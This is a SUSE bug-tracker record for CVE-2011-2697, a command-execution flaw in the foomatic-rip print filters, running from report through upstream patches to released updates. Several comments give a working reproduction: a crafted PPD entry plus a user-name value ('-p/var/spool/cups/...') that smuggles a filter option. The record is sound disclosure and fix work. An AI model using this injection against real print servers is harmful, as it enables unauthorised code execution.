Bug 698451 - (CVE-2011-2697) VUL-0: CVE-2011-2697: foomatic-filters and hplip: arbitrary remote code execution as user lp via foomatic-rip and foomatic-rip-hplip
(CVE-2011-2697)
VUL-0: CVE-2011-2697: foomatic-filters and hplip: arbitrary remote code execu...
Status: RESOLVED FIXED
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: General
unspecified
Other Other
: P2 - High : Major
: ---
Assigned To: Security Team bot
E-mail List
maint:released:11.3:42543 maint:relea...
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2011-06-07 08:29 UTC by Sebastian Krahmer
Modified: 2019-05-01 15:57 UTC (History)
3 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments
The attached patch in Till Kamppeter's first reply mail (8.27 KB, patch)
2011-07-01 13:43 UTC, Johannes Meixner
Details | Diff
The attached patch matching to Till Kamppeter's second reply mail (15.66 KB, patch)
2011-07-01 13:45 UTC, Johannes Meixner
Details | Diff
enhanced patch from upstream for the current C code foomatic-rip (8.53 KB, patch)
2011-07-12 09:28 UTC, Johannes Meixner
Details | Diff
enhanced patch from upstream for the older foomatic-rip Perl script (14.05 KB, patch)
2011-07-12 09:29 UTC, Johannes Meixner
Details | Diff
foomatic-rip-3.48.CVE-2011-2697.bnc698451.patch (14.13 KB, patch)
2011-08-05 09:42 UTC, Johannes Meixner
Details | Diff
foomatic-rip-3.diff-upw (3.67 KB, text/plain)
2011-08-05 10:00 UTC, Johannes Meixner
Details

Note You need to log in before you can comment on or make changes to this bug.
Description Sebastian Krahmer 2011-06-07 08:29:13 UTC
I dont know which package it is exactly, as rpm is telling me
it is hplip-hpijs, but I guess its either hplip or foomatic-filters.

CUPS calls these backend filters with remote provided arguments such
as "requesting-user-name" or "job-name" which are passed from
remote end via IPP (which can also be localhost).

Then, the foomatic-rip-hplip perl script combines all arguments
into $argstr. (Removing \0x1 via removeunprintables() but joing()ing
them with \x01 as a separator again).

Later on, $argstr is parsed for arguments such as spooler or PPD file
arguments. It is possible to pass -pFOO arguments to trick the filter
to think it has given a PPD file named FOO.
PPD files can contain filter-commands.
Attackers just pass -p/var/spool/cups/d000<JOBID>-001 as an argument
which contains the file content of the attacker about to be printed.
This file is then treated as PPD file and remote attacker can execute
commands as lp-user.
Comment 1 Johannes Meixner 2011-06-07 09:48:42 UTC
Sebastian
do you have already a real exploit how code is actually executed?
Do you have a command line example how a remote attacker submits
his code and his false arguments to get his code executed?


FYI:

# file /usr/lib/cups/filter/foomatic-rip-hplip
/usr/lib/cups/filter/foomatic-rip-hplip: a /usr/bin/perl script text

# rpm -qf /usr/lib/cups/filter/foomatic-rip-hplip
hplip-hpijs-3.11.5-1.2

hplip-hpijs is a sub-package of hplip


In contrast:

# file /usr/lib/cups/filter/foomatic-rip
/usr/lib/cups/filter/foomatic-rip: symbolic link to `../../../bin/foomatic-rip'

# file /usr/bin/foomatic-rip
/usr/bin/foomatic-rip: ELF 32-bit LSB executable ...

# rpm -qf /usr/bin/foomatic-rip
foomatic-filters-4.0.6-0.2


/usr/lib/cups/filter/foomatic-rip-hplip is based on the
old /usr/bin/foomatic-rip perl script.

Meanwhile /usr/bin/foomatic-rip is a re-implementation
of the foomatic-rip perl script in C but probably the same trick
could be used also with the up-to-date /usr/bin/foomatic-rip
so that you may like to check /usr/bin/foomatic-rip too.
Comment 2 Sebastian Krahmer 2011-06-07 10:02:43 UTC
Yes, I have a full working PoC exploit as demonstrated yesterday
on Marcus' HP printer. I may attach it here if it is helpfull.
The new foomatic-rip is a binary true, I might check that too
to see if it has the same problem.
Comment 3 Sebastian Krahmer 2011-06-07 10:16:16 UTC
Which printer model should I add in CUPs admin page in order to
get best foomatic-rip support?
Comment 4 Johannes Meixner 2011-06-07 10:22:52 UTC
I found out how to execute arbitrary code:

1.
Set up a queue which uses foomatic-rip-hplip
i.e. use a PPD which has an "*cupsFilter: ... foomatic-rip-hplip" entry:

# lpadmin -p testy -v file:/dev/null \
  -P /usr/share/cups/model/manufacturer-PPDs/hplip/hp-laserjet_1220-hpijs-pcl3.ppd.gz \
 -E

2.
Get the PPD as normal user:

$ wget http://localhost:631/printers/testy.ppd
...
2011-06-07 12:14:23 (308 MB/s) - `testy.ppd' saved [17993/17993]

3.
Modify the PPD as normal user:

Change the *FoomaticRIPCommandLine: entry (up to the *End line)
as one likes, e.g. to this single line (without *End line:
*FoomaticRIPCommandLine: "/bin/cp /etc/SuSE-release /tmp/testy.out"

4.
Print a dummy job to find out the current job id as normal user:

$ echo Hello | lp -d testy
request id is testy-109 

5.
Print the malicious job as normal user:

$ lp -d testy -U'-p/var/spool/cups/d00110-001' \
 -o document-format=text/plain testy.ppd
request id is testy-110

6:
Verify that the FoomaticRIPCommandLine was actually executed:

# ls -l /tmp/testy*
-rw------- 1 lp lp 57 Jun  7 12:19 /tmp/testy.out

# cat /tmp/testy.out
openSUSE 11.4 (x86_64)
VERSION = 11.4
CODENAME = Celadon
Comment 5 Johannes Meixner 2011-06-07 10:36:32 UTC
Very many thanks for finding this issue!


FYI:

The main ideas behind are:

On the one hand foomatic-rip trusts the content of the PPD file
because it assumes only the admin can set up a print queue
with a PPD file, see the "Technical Details" part in
the "Printers with Ghostscript Support" section in
http://en.opensuse.org/SDB:Information_for_Printer_Manufacturers_Regarding_Linux_Support

On the other hand foomatic-rip provides the -p switch
to let its user specify a PPD file so that foomatic-rip
can also be used without a spooler (i.e. without a print queue).

Both ideas together are no longer secure.
Comment 6 Johannes Meixner 2011-06-07 10:53:45 UTC
As expected: Same with /usr/bin/foomatic-rip

I think it is now time to inform the foomatic-rip main author
Till Kamppeter <till.kamppeter@gmail.com>
and the HPLIP team.


How to reproduce with foomatic-rip:

1.
Set up a queue which uses foomatic-rip
i.e. use a PPD which has an "*cupsFilter: ... foomatic-rip" entry:

# lpadmin -p testy2 -v file:/dev/null \
 -P /usr/share/cups/model/OpenPrintingPPDs/ghostscript/Generic-PCL_5c_Printer.ljet4.ppd.gz \
 -E

If you don't have openSUSE 11.4 the Generic-PCL_5c_Printer.ljet4.ppd.gz
is located in /usr/share/cups/model/Generic/PCL_5c_Printer-ljet4.ppd.gz

2.
Get the PPD as normal user:

$ wget http://localhost:631/printers/testy2.ppd
...
2011-06-07 12:38:59 (795 MB/s) - `testy2.ppd' saved [13829/13829]

3.
Modify the PPD as normal user:

Change the *FoomaticRIPCommandLine: entry (up to the *End line)
as one likes, e.g. to this single line (without *End line:
*FoomaticRIPCommandLine: "/bin/cp /etc/SuSE-release /tmp/testy2.out"

4.
Print a dummy job to find out the current job id as normal user:

$ echo Hello | lp -d testy2
request id is testy2-111

5.
Print the malicious job as normal user:

$ lp -d testy -U'-p/var/spool/cups/d00112-001' \
 -o document-format=text/plain testy2.ppd
request id is testy-112

6:
Verify that the FoomaticRIPCommandLine was actually executed:

# ls -l /tmp/testy2.out
-rw------- 1 lp lp 57 Jun  7 12:40 /tmp/testy2.out

# cat /tmp/testy2.out
openSUSE 11.4 (x86_64)
VERSION = 11.4
CODENAME = Celadon


The bad news is:

This issue exists "since ever" - i.e. in all our products.


The (partially) good news is:

For printing a trusted environment is a must.
Nobody lets arbitrary users access his print queues.
See
http://en.opensuse.org/SDB:CUPS_and_SANE_Firewall_settings
---------------------------------------------------------------------
First and foremost have the following section in the SuSEfirewall2 documentation in mind: /usr/share/doc/packages/SuSEfirewall2/README
reads

Some words about security:
Run only those services you actually need.
Think twice before opening them to the Internet.
Do not expose services that are designed
for use in a LAN to the Internet (like CUPS).
---------------------------------------------------------------------
Comment 7 Johannes Meixner 2011-06-07 11:06:23 UTC
There is a copy and paste typo in comment #6.

Correction:

How to reproduce with foomatic-rip:
...
5.
Print the malicious job as normal user:

$ lp -d testy2 -U'-p/var/spool/cups/d00112-001' \
 -o document-format=text/plain testy2.ppd
request id is testy2-112
Comment 8 Sebastian Krahmer 2011-06-07 11:31:42 UTC
Yes, by looking at the C code it seems they perfectly
ported the vulnerability from the perl script.
Comment 9 Sebastian Krahmer 2011-06-07 12:22:53 UTC
The 2nd and the 3rd argument on the commandline seem to be passed by
CUPS to the filter as user provided input. E.g. username or title,
but the filters cannot distinguish it once they stuffed everything into
one list/string. However it is important to notice that the user
provided arguments wont contain any PPD etc. options.
Comment 10 Johannes Meixner 2011-06-07 12:58:30 UTC
See "man 7 filter":

  SYNOPSIS
    filter job user title num-copies options [ filename ]
  ...
  The command name (argv[0]) is set to the name of the destination printer

i.e.
  filter = argv[0]
  job = argv[1]
  user = argv[2] 
  title = argv[3]
  num-copies = argv[4]
  options = argv[5]
and optionally
  filename = argv[6]

argv[0],argv[1] and optionally argv[6] are set by the cupsd.
argv[2],...,argv[4] are pure user provided arguments.
argv[5] is mixed up set by the cupsd and user provided.

See "man 1 lp" how to set them:

E.g.:

$ echo Hello | lp -d testy -U MyUser -n 78 -t MyTitle \
                  -o Option1=Value1 -o Option2                  
request id is testy-122

Then with "LogLevel debug" in /etc/cups/cupsd.conf:

# grep 'Job 122' /var/log/cups/error_log
...
... argv[0]="testy"
... argv[1]="122"
... argv[2]="MyUser"
... argv[3]="MyTitle"
... argv[4]="78"
... argv[5]="finishings=3 number-up=1 Option1=Value1 Option2
             job-uuid=urn:uuid:78fed2e2-3406-3677-70af-942e86c9904a
             job-originating-host-name=localhost time-at-creation=1307450722
             time-at-processing=1307450722 AP_D_InputSlot="
... argv[6]="/var/spool/cups/d00122-001"


If the filters would keep values as values so that in particular
the value for the -U/argv[2] and -t/argv[3] arguments would
stay as values for those arguments, everything would be o.k.

But currently the filters mix up values with arguments
so that a user or title value '-p/path/to/file.ppd'
becomes a new argument -p with new value /path/to/file.ppd

Note that the cupsd does not call the filtesr with the -p argument.
The cupsd calls them with
  argv[2]="-p/var/spool/cups/d00nnn-001"
Comment 11 Sebastian Krahmer 2011-06-08 12:16:14 UTC
No problem with getting patch from upstream.
Comment 12 Sebastian Krahmer 2011-06-20 13:11:14 UTC
Johannes can you try to get a patch from upstream?
We will let assign a CVE id then.
Comment 19 Johannes Meixner 2011-07-01 13:52:50 UTC
Sebastian,
please read what I had written in attachment #438005 [details]
whether or not this fix is sufficiently secure.

What do the security experts think?
Is Till's fix sufficiently secure?
Comment 20 Sebastian Krahmer 2011-07-04 07:17:08 UTC
checking...
Comment 21 Sebastian Krahmer 2011-07-04 10:22:18 UTC
From what I see when testing the perl patch (and I guess the C version
follows the same logic), it seems fixed for the cups spooler indeed.

However you can still pass ppd file arguments for any other spooler,
e.g. lprng. I dont know whether lprng would pass arguments like
username or page title like cups was doing it to the invoked
filter, but IF any other
spooler than cups is doing so, you have the same problem again.
Comment 22 Johannes Meixner 2011-07-05 10:48:00 UTC
I asked Till via mail whether or not other spoolers than CUPS
could be also affected...
Comment 24 Johannes Meixner 2011-07-12 09:28:27 UTC
Created attachment 439373 [details]
enhanced patch from upstream for the current C code foomatic-rip
Comment 25 Johannes Meixner 2011-07-12 09:29:17 UTC
Created attachment 439374 [details]
enhanced patch from upstream for the older foomatic-rip Perl script
Comment 26 Johannes Meixner 2011-07-12 09:32:33 UTC
Sebastian,
attachment #439372 [details]
is Till Kamppeter's reply to your question in comment #21
attachment #439373 [details]
is an enhanced patch from upstream for the current C code foomatic-rip
attachment #439374 [details]
is an enhanced patch from upstream for the older foomatic-rip Perl script
but I did not yet test them...

What do you think?
Are Till's enhanced fixes sufficiently secure?
Comment 27 Sebastian Krahmer 2011-07-12 12:07:03 UTC
From what I read from the mail, it seems to suffice.
As no spooler-daemon is any longer parsing PPD options,
it should be OK. I dont have the time yet to really dig into
the new patch though. But taking into account my review of the
last patch, it should be OK.

I am going to make this public and request a CVE via OSS-security.
Comment 29 Swamp Workflow Management 2011-07-12 12:15:39 UTC
The SWAMPID for this issue is 42155.
This issue was rated as moderate.
Please submit fixed packages until 2011-07-26.
When done, please reassign the bug to security-team@suse.de.
Patchinfo will be handled by security team.
Comment 30 Sebastian Krahmer 2011-07-13 11:15:03 UTC
CVE requested
Comment 32 Ludwig Nussel 2011-07-18 12:56:39 UTC
CVE-2011-2697
Comment 33 Thomas Biege 2011-08-02 08:52:03 UTC
Re: [oss-security] CVE Request: hplip/foomatic-filters
 Von: Tomas Hoger <thoger@redhat.com>
 An: oss-security@lists.openwall.com
 
On Thu, 28 Jul 2011 11:21:15 +0200 Tomas Hoger wrote:

> > > https://bugzilla.novell.com/show_bug.cgi?id=698451
> > 
> > Please use CVE-2011-2697 for this.
> 
> According to SUSE bug, there are two different implementations of the
> filter - one in perl and one in c - in different foomatic versions.
> Both are affected by the same kind of problem, even though they don't
> share vulnerable code.  Is one CVE sufficient here, or is Mitre likely
> to split and assign another when this is processed? Steven?

For posterity: there are 2 CVEs now - CVE-2011-2697 for perl-based
filter in foomatic 3.x, and CVE-2011-2964 for C-based filter in
foomatic 4.x.

-- 
Tomas Hoger / Red Hat Security Response Team
Comment 35 Johannes Meixner 2011-08-04 09:33:33 UTC
Submitted foomatic-filters to SUSE:SLE-11-SP1:Update:Test
via submitrequest 13988 to the internal build service
with the patch in attachment #439374 [details]
see comment #25.

FYI:
When testing it, there is an easy way to identify
whether or not foomatic-rip uses the right PPD file:
With "LogLevel debug" in /etc/cups/cupsd.conf (and restarted cupsd)
foomatic-rip logs the PPD file to /var/log/cups/error_log.
A correct PPD file log entry looks like
--------------------------------------------------------------------
... [Job NNN] PPD file: /etc/cups/ppd/<queue_name>.ppd
--------------------------------------------------------------------
i.e. it uses the PPD file from the system in /etc/cups/ppd/...
In contrast a wrong PPD file (see comment #4) may look like
--------------------------------------------------------------------
... [Job 172] PPD file: /var/spool/cups/d00NNN-001
--------------------------------------------------------------------
i.e. it uses the print job data as PPD file.
Comment 36 Johannes Meixner 2011-08-05 09:42:11 UTC
Created attachment 444356 [details]
foomatic-rip-3.48.CVE-2011-2697.bnc698451.patch

This patch is the backported fix for the foomatic-rip
which we have in SLE-10-SP#
Comment 37 Johannes Meixner 2011-08-05 09:44:51 UTC
Submitted foomatic-filters to SUSE:SLE-10-SP4:Update:Test
via submitrequest 14010 to the internal build service
with the patch in attachment #444356 [details]
see comment #36.
Comment 38 Johannes Meixner 2011-08-05 09:49:50 UTC
Maintenace team,
according to the output of "is_maintained foomatic-filters"
foomatic-filters is maintained for sle10-sp4 and for sle10-sp3.
I submitted it to SUSE:SLE-10-SP4:Update:Test (see comment #37)
but I wonder if I need to submit the same additionally to
SUSE:SLE-10-SP3:Update:Test
Comment 39 Marcus Meissner 2011-08-05 10:00:32 UTC
there was never a foomatic-filters update in SLE10 apparently, so there is just
one version.

you need to only submit to SUSE:SLE-10-SP3:Update:Test.
Comment 40 Johannes Meixner 2011-08-05 10:00:58 UTC
Created attachment 444364 [details]
foomatic-rip-3.diff-upw

The attached patches in this bug look very confusing
because a lot of lines which were only moved into the
------------------------------------------------------------------------------
if (($spooler ne 'cups') && ($spooler ne 'ppr') && ($spooler ne 'ppr_int')) {
...
}
------------------------------------------------------------------------------
clause are not actually changed but only indented.

Therefore here a diff which ignores all white space stuff
which makes it much more clear what the real changes are.

This foomatic-rip-3.diff-upw matches to Till's enhanced patch for
the older foomatic-rip Perl script in attachment #439374 [details]
Comment 41 Johannes Meixner 2011-08-05 10:09:46 UTC
Marcus,
really to SUSE:SLE-10-SP3:Update:Test
and not to SUSE:SLE-10-SP4:Update:Test?
Does it mean that I should revoke submitrequest 14010
and re-submit it for SUSE:SLE-10-SP3:Update:Test?
Comment 42 Johannes Meixner 2011-08-05 11:49:50 UTC
Submitted foomatic-filters to SUSE:SLE-9-SP4:Update:Test
via submitrequest 14023 to the internal build service
with the patch from SLE10 in attachment #444356 [details]
(see comment #36) which applies also to foomatic-rip 3.43
in SLE9 (with an offset of -2 lines).
Comment 46 Marcus Meissner 2011-08-05 16:36:07 UTC
johannes, for sle10 spx the abuild team will sort it out. As there was just one source in sle10, so the update will be checked into sle10 sp3 update tree for both sp3 and sp4.

just leave it as is.
Comment 53 Johannes Meixner 2011-08-09 13:38:10 UTC
FYI regarding SLE11-SP2:
Submitted HPLIP 3.11.5 to SUSE:SLE-11-SP2:GA
via submitrequest 14060:
Version upgrade to HPLIP 3.11.5 (Fate #312667)
plus fixed CVE-2011-2697 (Bug #698451) plus
fixed leftover in CVE-2004-0801 (Bug #59233).
Comment 55 Johannes Meixner 2011-08-10 10:51:41 UTC
Regarding HPLIP:


Regarding SLE9:

There is no HPLIP in SLE9.


Regarding SLE10:

HPLIP in SLE10 is not affected because
there is no foomatic-rip in our RPM packages.

I verified this with:
----------------------------------------------------------------
for r in /work/CDs/all/full-sle10*/suse/*/hplip*rpm ; \
do rpm -qlp $r | grep foomatic-rip ; done
----------------------------------------------------------------
which results no output.

Instead the foomatic-rip of the foomatic-filters RPM is used.


Regarding SLE11:

Since SLE11 foomatic-rip-hplip is installed (and used)
so that since SLE11 HPLIP is affected.
Comment 56 Johannes Meixner 2011-08-10 13:11:57 UTC
Submitted hplip to SUSE:SLE-11-SP1:Update:Test
via submitrequest 14078:
Fixed CVE-2011-2697 (bnc#698451) plus
fixed leftover in CVE-2004-0801 (bnc#59233)
Comment 57 Johannes Meixner 2011-08-10 13:15:07 UTC
From my point of view the issue is now fixed
in all maintained SLE products.
Comment 58 Johannes Meixner 2011-08-10 15:27:15 UTC
Submitted foomatic-filters to openSUSE:11.3:Update:Test
via submitrequest 78464:
Fixed CVE-2011-2697 (bnc#698451)
Comment 59 Thomas Biege 2011-08-11 08:43:28 UTC
sles packages released, box packages will be released ASAP, closing.
Comment 60 Johannes Meixner 2011-08-11 08:49:56 UTC
Submitted foomatic-filters to openSUSE:11.4:Update:Test
via submitrequest 78497:
Fixed CVE-2011-2697 (bnc#698451)

Now it is fixed for foomatic-filters for all maintained products.

Reopening because hplip for 11.3 and 11.4 is not yet fixed
and
foomatic-filters and hplip are not yet fixed for openSUSE:Factory.
Comment 61 Johannes Meixner 2011-08-11 12:23:43 UTC
FYI regarding openSUSE:Factory:

Fixed via version upgrade to current foomatic-filters-4.0.9

Submitted foomatic-filters-4.0.9 to the
OBS Printing project via submitrequest 78510 and to
openSUSE:Factory via submitrequest 78518:
  Verion upgrade to current foomatic-filters-4.0.9
  which fixes in particular CVE-2011-2697 (bnc#698451)
Comment 62 Johannes Meixner 2011-08-11 12:44:20 UTC
FYI:
---------------------------------------------------------------------------
Date: Thu, 11 Aug 2011 14:03:42 +0200 (CEST)
From: ro <ro@suse.de>
Reply-To: suse-dist@suse.de
To: jsmeix@novell.com
Cc: jsmeix@suse.de
Subject: /work/src/done/SLE11-SP1/hplip not checked in

Script 'mail_helper' called by ro

Hi jsmeix@novell.com,
/work/src/done/SLE11-SP1/hplip was not checked in by ro for the following reasons:
 (submitrequest 14078 on https://build.suse.de)

bug 704608 not yet fixed but listed in patchinfo


your dist/autobuild team.
---------------------------------------------------------------------------

Comment #29 reads:
The SWAMPID for this issue is 42155.

In contrast
https://bugzilla.novell.com/show_bug.cgi?id=704608#c9
reads:
---------------------------------------------------------------------------
The SWAMPID for this issue is 42548.
---------------------------------------------------------------------------

I wonder how bug #704608 with SWAMPID 42548
is listed in patchinfo for this bug #698451 with SWAMPID 42155.
Comment 63 Johannes Meixner 2011-08-11 15:03:43 UTC
Submitted hplip to openSUSE:11.3:Update:Test
via submitrequest 78534:
  Fixed CVE-2011-2697 (bnc#698451) plus
  fixed leftover in CVE-2004-0801 (bnc#59233)
Comment 64 Johannes Meixner 2011-08-11 15:26:00 UTC
Submitted hplip to openSUSE:11.4:Update:Test
via submitrequest 78539:
  Fixed CVE-2011-2697 (bnc#698451) plus
  fixed leftover in CVE-2004-0801 (bnc#59233)
Comment 65 Johannes Meixner 2011-08-11 15:27:02 UTC
From my point of view the issue is now fixed
in all maintained products.
Comment 66 Johannes Meixner 2011-08-11 15:30:55 UTC
I have to specify a comment when changing the status of a bug
from NEEDINFO to RESOLVED.
Comment 67 Johannes Meixner 2011-08-11 15:31:50 UTC
Reopening and reassign to security-team@suse.de
according to comment #29
Comment 68 Johannes Meixner 2011-08-11 15:44:36 UTC
Regarding comment #62:
Perhaps I know which SWAMPID have been mixed up here.

This bug 698451 with SWAMPID 42155
and bug 59233 with SWAMPID 42548
are fixed together because both bugs belong to
foomatic-rip in foomatic-filters
and foomatic-rip-hplip in hplip,
see what I wrote in
https://bugzilla.novell.com/show_bug.cgi?id=59233#c20
"I will fix it when fixing bug #698451".

In contrast bug 704608 with SWAMPID 42548 (same as bug 59233)
is currently stuck and will not be fixed at least for now, see
https://bugzilla.novell.com/show_bug.cgi?id=704608#c10

Therefore I assume:

This bug 698451 and bug 59233 should have the same SWAMPID
to match that both are fixed together.

In contrast bug 704608 should have a different SWAMPID
so that it can be handled independent of bug 698451 and bug 59233
Comment 69 Swamp Workflow Management 2011-08-11 19:22:35 UTC
Update released for: foomatic-filters, foomatic-filters-debuginfo, foomatic-filters-debugsource
Products:
openSUSE 11.3 (debug, i586, x86_64)
openSUSE 11.4 (debug, i586, x86_64)
Comment 70 Swamp Workflow Management 2011-08-11 23:13:06 UTC
Update released for: foomatic-filters
Products:
SLE-DESKTOP 10-SP4 (i386, x86_64)
SLE-SERVER 10-SP4 (i386, ia64, ppc, s390x, x86_64)
Comment 71 Johannes Meixner 2011-08-12 12:22:51 UTC
FYI regarding openSUSE:Factory:

Fixed via version upgrade to current HPLIP 3.11.7
and changes to avoid the security issues.

Submitted HPLIP 3.11.7 to the
OBS Printing project via submitrequest 78629 and to
openSUSE:Factory via submitrequest 78646:
  Version upgrade to HPLIP 3.11.7 and
  avoid CVE-2011-2697 (bnc#698451)
  plus CVE-2004-0801 (bnc#59233)
  by no longer installing foomatic-rip-hplip and
  using foomatic-rip from the foomatic-filters RPM instead

From my point of view the issue is now completely
fixed in all products.
Comment 72 Thomas Biege 2011-08-12 12:57:05 UTC
(In reply to comment #62)
> FYI:
...
> Hi jsmeix@novell.com,
> /work/src/done/SLE11-SP1/hplip was not checked in by ro for the following
> reasons:
>  (submitrequest 14078 on https://build.suse.de)
> 
> bug 704608 not yet fixed but listed in patchinfo
...
> I wonder how bug #704608 with SWAMPID 42548
> is listed in patchinfo for this bug #698451 with SWAMPID 42155.

Patchinfo was messed up. I was not thoroughly enough in cleaning it it seems,
will fix it...
Comment 73 Thomas Biege 2011-08-12 13:04:33 UTC
everything fine now
Comment 74 Matthias Weckbecker 2011-10-04 08:58:40 UTC
updates released